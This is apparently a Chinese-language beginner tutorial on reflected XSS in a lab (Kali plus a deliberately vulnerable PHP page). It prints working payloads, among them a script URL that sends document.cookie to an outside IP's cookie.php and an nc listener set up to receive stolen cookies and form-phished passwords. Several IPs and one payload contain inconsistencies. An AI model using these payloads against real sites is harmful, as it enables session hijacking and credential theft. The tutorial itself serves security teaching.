目录
前言
环境说明:
1、轻量级 Web 服务器 + PHP
2、易受XSS攻击的PHP程序
3、非持久性 XSS 攻击
5 注入表单窃取密码
前言
花了一点时间,做了一个“XSS基础环境及实验演示教程”,当然教程很简单,适合刚接触和安全行业的小伙伴去认识了解XSS漏洞,并且上手实操。
欢迎各位提出问题和作者v一起交流:tomorrow_me-
环境说明:
Kali机器:192.168.2.108
Windows机器:192.168.2.105
为了中间实验过程方便,有时候会利用一台云服务器辅助,实验过程中出现为显示IP的地址或者不为以上两个IP时,均为云服务器。
1、轻量级 Web 服务器 + PHP
任务 1. 重新同步包索引文件:
任务 2. 安装轻量级和 PHP:
apt-get 安装 lighttpd php php-fpm php-cgi
安装 Lighttpd:sudo apt-get install lighttpd
安装 PHP 和 FastCGI 进程管理器(php-fpm):sudo apt-get install php-fpm
安装 PHP CGI 工具(php-cgi):sudo apt-get install php-cgi
lighttpd配置文件:/etc/lighttpd/conf-available/
启用命令:
sudo lighttpd-enable-mod fastcgi-php
最后,重启Lighttpd服务器以使更改生效:
sudo service lighttpd restart
任务 3. 重新加载 lighttpd 守护进程:
a) service lighttpd force‑reload
任务 4. 从受害者的浏览器检查 Web 服务器是否正在运行可访问的。
a) http:// 192.168.2.108
2、易受XSS攻击的PHP程序
任务 1. 找到您的 lighttpd ⽹络服务器的⽂档根⽬录:
a) lighttpd ⽹络服务器的默认根⽬录是什么?
/var/www/html/
任务 2. 创建一个新的 index.php 文件,这是一个欢迎用户名的简单 PHP 程序。用户名是使用 GET 方法获取的,如以下 PHP 模板所示:
a) 将 index.php 文件复制到文档根目录,然后从受害者的浏览器访问该文件。显示的是什么词?
任务 3. 我们易受攻击的 PHP 程序 (index.php) 需要通过 GET 请求的参数(名称)来欢迎用户。
a) 如下所示欢迎用户admin 的URL 是什么?
http://192.168.2.108/index.php?username=admin
3、非持久性 XSS 攻击
任务 1. 在受害者的浏览器中,不是发送一个简单的字符串作为名称参数,而是尝试发送在名称前添加“<h1>”HTML 标记。在 HTML 中,<h1> 标签用于标题,预期结果是一个更大的名称。
实验结果如下图所示:
指明实现该目的的完整 URL。
http://192.168.2.108/index.php?username=<h1>admin</h1>
任务 2. 查看受害者浏览器中的源代码。
a) 生成的源代码是什么?
如下图:
任务 3. 现在,我们将注入功能更强大的 JavaScript 代码,而不是注入基本的 HTML 标记。为确保我们的 JavaScript 代码在受害者的浏览器中运行,我们将显示一条消息。为此,我们将使用 alert() JavaScript 函数。
a) 提供将在包含消息的 JavaScript 中执行 alert() 的恶意 URL 如下图所示被黑客入侵:
url: http://192.168.2.108/index.php?username=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E
任务 4. 查看受害者浏览器中的源代码。
a) 生成的源代码是什么?
4、窃取会话cookie
任务 1. 要模拟具有会话 ID 的 Web 服务器,我们可以在 Web 服务器中使用 setcookie PHP 函数。这可以通过将以下内容添加到 index.php 文件来完成:
任务 2.在将 sessionID 发送到远程服务器之前,⼀个好的起点是在 JavaScript 中执⾏⼀些检查。使⽤ document.cookie Javascript 属性:
- 创建⼀个 URL,在受害者的浏览器中显⽰ cookie 值。为此,请使⽤ alert()
JavaScript 函数和 document.cookie JavaScript 属性。实现该⽬标的 URL 是什么?
url为:http://192.168.2.108/index.php?username=%3Cscript%3Ealert(document.cookie)%3C/script%3E
任务 3.最后,我们要将 cookie 值泄露到远程服务器。
- 在您的 Kali 机器中,使⽤ nc ⼯具检索渗出数据。阅读⼿册以了解如何运⾏ nc 以侦听端⼝ 80。指⽰ nc 侦听端⼝ 80 的参数是哪些?
参数 -l 表示监听模式,参数 -v 表示启用详细模式,参数 -p 指定监听的端口号。
- 使⽤上述可能的 JavaScript 代码之⼀,通过替换“...”来泄露会话 ID,通过适当的 JavaScript 代码。
192.168.2.108/index.php?username=admin<script>window.location="http://81.68.2.42/cookie.php%3Fcookie="%2Bdocument.cookiei</script>
通过这个代码,可以获取用户的cookie,并且拿到cookie。
http://81.68.122.42/cookie.php是我部署的http服务,cookie.php如下:
它会将窃取的cookie写入当前路径的cookies.txt中;如:
5 注入表单窃取密码
任务 1. 在此任务中,您需要创建一个 URL 以利用 index.php 文件中的 XSS 漏洞。我们需要做的是创建一个伪造的 HTML 表单,向受害者询问用户名和密码。
当受害者按下提交按钮时,凭据将被发送到由攻击者控制的远程服务器。
指示 nc 监听端口 9090 的参数是什么?
参数 -l 表示监听模式,参数 -v 表示启用详细模式,参数 -p 指定监听的端口号。
允许您使用虚假表单窃取和泄露(到您的 Kali 机器)受害者的用户名和密码的 URL 是什么?
http://81.68.123.42:9090/login.php?username=admin&passowrd=123456
更多分享:VX公众号:安全info